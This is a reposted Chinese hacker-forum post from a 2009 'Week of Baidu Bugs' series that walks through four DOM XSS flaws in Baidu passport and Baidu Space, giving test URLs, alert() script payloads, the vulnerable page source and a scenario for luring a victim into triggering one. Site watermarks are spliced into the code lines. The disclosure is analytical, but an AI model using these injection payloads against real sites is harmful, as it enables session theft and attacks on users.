Board logo

标题: 【转载】The Week of Baidu Bugs - Day 04: 百度空间多处DOM XSS漏洞 [打印本页]

作者: 不属于    时间: 2009-11-8 23:21     标题: 【转载】The Week of Baidu Bugs - Day 04: 百度空间多处DOM XSS漏洞

The Week of Baidu Bugs - Day 04: 百度空间多处DOM XSS漏洞
作者:佚名  来源:转载  发布时间:2008     发布人:黑客动画吧
减小字体     增大字体 黑客
来源:大风起兮云飞扬
注:版权所有,转载请注明出处

    今天天气不错,也是我们杀人放火的好时间。今天的篇幅会有点长,所以分成两部分来写。
前三天讲的漏洞,可能大家会觉得有点不愠不火,特别是昨天那个XSIO,更是被茄子称为“猥琐流”,我想也确实是挺猥琐的~~
但这些风险是真实存在的,不能在惊笑之余因为“猥琐”而而忽略这些风险。
今天换个话题,讲讲更传统一些的漏洞:XSS

我这里不想浪费任何口水讲XSS的风险,如果还有人不了解或者是轻视它,那么我以后会再单独论述。在这里只想说的是,任何忽视XSS风险的人(更多的是程序员,因为没认识到),都会受到深刻的教训。什么?你还没被教训到?好吧,不是不报,时候未到。信息来自:http://www.3ast.com.cn
昨天看余弦在blog上发了个passport.baidu.com的XSS漏洞,利用的是u参数(百度的JS数据流注入型跨站),那么今天的开篇,就让我用一个同域名下的类似漏洞作为引子。黑客
XSS1:百度个人中心登录处DOM XSS
这个漏洞实际上从某种程度来说是不能利用的,叫做bug更合适一点。但是这个例子非常典型,用来作为今天的开篇很不错。黑客
测试方法很简单,打开 http://passport.baidu.com/?login 然后在输入用户名的地方输入:[url=http://www.3ast.com.cn]黑客
</script><img onclick=alert();>
注意别输错了,和一般的XSS 不同
然后密码随便输入一个,提交登录。
之后就会看到页面被破坏掉了。信息来自:http://www.3ast.com.cn
把因为我们用了 onclick 事件,所以把鼠标移到图片上点一下,发现什么了? 我们可爱的小框出来了。
这个漏洞的原因是因为baidu把用户名当做错误提示信息直接给写入到js里面去了,而没有做任何过滤。黑客
源代码如下:
<script language=”javascript”>
var err_str=”";
switch(1)
{
        case 1:
                err_str = “用户名格式错误,请重新输入”
                break;
        case 2:
                err_str = “用户“</script><img onclick=alert();>”不存在”黑客
                break;
        case 3:
……
我们闭合掉了script标签,然后插入我们自己的图片事件。
但是在这里由于用户名有50个字节的长度限制,所以我们可以利用的空间非常有限。这也属于个YY漏洞。
YY完了,可以进入正题了。
实际上我准备了一打以上的XSS漏洞,但是如果每天发一个显然有些不厚道,大家也会觉得看的不爽,也很容易变成the Month of Baidu Bugs,所以我会稍微归类,然后再发出来。网络安全
接下来要讲的这个DOM XSS,出在创建博客处。
XSS2: 百度空间创建新文章DOM XSS
测试方法:
进入如下url:
http://hi.baidu.com/testuser/creat/blog/#‘><script>alert();</script><’[url=http://www.3ast.com.cn]网络安全
注意是单引号,而不是XSS常用的双引号。
我们的可爱小框直接弹出来了。信息来自:http://www.3ast.com.cn
实际上这里会弹两次。XSS漏洞具体原因在以下地方
网页在生成时候,有两个表单,调用了JS来动态获取URL的值
form1:
<form name=”form1″ id=”popFormSubmit” action=”/testuser/commit” method=”post” onSubmit=”return checkform();”>
<input type=”hidden” name=”ct” value=”1″>
<input type=”hidden” name=”cm” value=”1″>
<script language=”JavaScript”>
document.write(”<input name=’spRefURL’ type=’hidden’ value=’”+window.location.href+”‘>”);网络安全
</script>
form2:
<div id=”_redirect_to_passport” style=”display:none;”>
<form method=”POST” action=”https://passport.baidu.com/?login” id=”_redirect_form”>[url=http://www.3ast.com.cn]网络安全
<input type=”hidden” name=”tpl” value=”sp”>
<input type=”hidden” name=”username” id=”_r_username” />黑客
<input type=”hidden” name=”password” id=”_r_password” />信息来自:http://www.3ast.com.cn
<script>
大家多给我点支持,我争取把这个连载写完,尽量不做太监~~。
以前还梦想着以后去写YY小说,看这样子,说不定什么时候就进宫了。
扯完淡了,继续讲漏洞。
Baidu的DOM XSS漏洞大部分是出在 spRefURL 这个参数上的。
这个参数应该是用来统计 Referer 字段一类的作用,也可能是baidu的数据仓库用来收集用户行为所布下的暗桩(我很喜欢牛博威用的这个词~~~~多形象啊~~~呵呵)。网络安全
但是这个参数往往在收集URL的同时,也把我们的XSS脚本给收集进去了。
看如下漏洞。
XSS 3: 百度空间博客评论处DOM XSS
测试方法如下:
进入以下URL(用户名和帖子ID自己替换,别傻的直接点了然后告诉我测试无效):
http://hi.baidu.com/testuser/blog/item/e3713128deadbabe99250a9e#‘><script>alert(/fvck+baidu/);</script><’[url=http://www.3ast.com.cn]黑客
可以看到,我们的可爱的小框再次弹出来了!
有多少评论,这个小框就会弹多少次。网络安全
漏洞原因还是和XSS 2一样,如下:
表单中用js动态获取url
<form name=”form1″ id=”popFormSubmit” action=”/testuser/commit” method=”post” onSubmit=”return checkcmtform()”>网络安全
<input type=”hidden” name=”ct” value=”8″>
<input type=”hidden” name=”cm” value=”1″>
<input type=”hidden” name=”spBlogID” value=”1f9a3aacaff38d0c4b36d6f5″>网络安全
<script LANGUAGE=”JavaScript”>
    document.write(”<input type=’hidden’ name=’spRefURL‘ value=’”+window.location.href+”‘>”);信息来自:http://www.3ast.com.cn
</script>
<div class=”tit”>发表评论:</div>
<table width=”620″ border=”0″ cellspacing=”5″ cellpadding=”0″>黑客
<tr>
这个叫popFormSubmit的表单挺造孽的,很多地方都有它!估计很快就会补。
如果说上面这个漏洞和前面的有点雷同的话,那么接下来讲的这个就有点细微的差别了。
XSS 4: 百度空间删除留言DOM XSS漏洞
测试方法:
输入以下URL:
http://hi.baidu.com/testuser/profile#“;alert(/FVCK+BAIDU+XSS/);”或者如下URL:信息来自:[url=http://www.3ast.com.cn/]http://www.3ast.com.cn
http://hi.baidu.com/testuser/board#“;alert(/FVCK+BAIDU+XSS/);”信息来自:[url=http://www.3ast.com.cn/]http://www.3ast.com.cn
当然,你要是在登录状态下。
进入之后,我们看到好像什么都没有~~,没错,就是什么都没有。
这时候如果你有留言,那么,删除它,如果没有,自己写个留言,再去删除它。
在提交删除后,就会看到我们可爱的小框框弹出来啦~~!
问题出在提交表单后的返回页面上。黑客
Baidu通过commit做了很多操作,几乎所有表单都是由commit返回的。
在返回时,会有一个动态结果,这里的漏洞就出在这个动态返回结果上。
以下是页面返回后的代码:
<!–STATUS OK–>
……
<!–
以下部分是动态提交内容
//–>
……
<!– 42.删除留言 –>
   
<script language=”javascript”>
<!–
writestr(”留言删除成功!”);
var ref=”http://hi.baidu.com/testuser/board#“;alert(/XSS/);”";信息来自:[url=http://www.3ast.com.cn/]http://www.3ast.com.cn
if(ref.match(/board\/boardid/gi)){
    url=”http://hi.baidu.com/testtest9/board”信息来自:[url=http://www.3ast.com.cn/]http://www.3ast.com.cn
}else{
    url=ref;
}
function gotCmtUrl()
{
   if(top.location.href==url) top.location.reload();
   else top.location.href=url;
}
//gotourl(url);
//setTimeout(function(){top.location.href=url;},600);
setTimeout(”gotCmtUrl()”,600);
//–>
</script>
   
</div>
</body>
</html>
由于ref直接引用了url, 而没有做任何过滤,所以我们就可以把js直接写进该返回页面中。
设想如下场景: 在某空间留言辱骂主人,然后将URL copy给主人或诱使其去看,主人一怒下删除之,然后就XXXXXXX网络安全
具体利用见人见智了。
欲知后事如何,且听下回分解。
作者: 星☆雨    时间: 2009-11-8 23:21

精彩 厉害  NB  呵呵:victory: :victory:
作者: 星☆雨    时间: 2009-11-8 23:21

牛人   果然是没有绝对的安全  只有绝对的不安全!!!




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/) Powered by Discuz! 7.2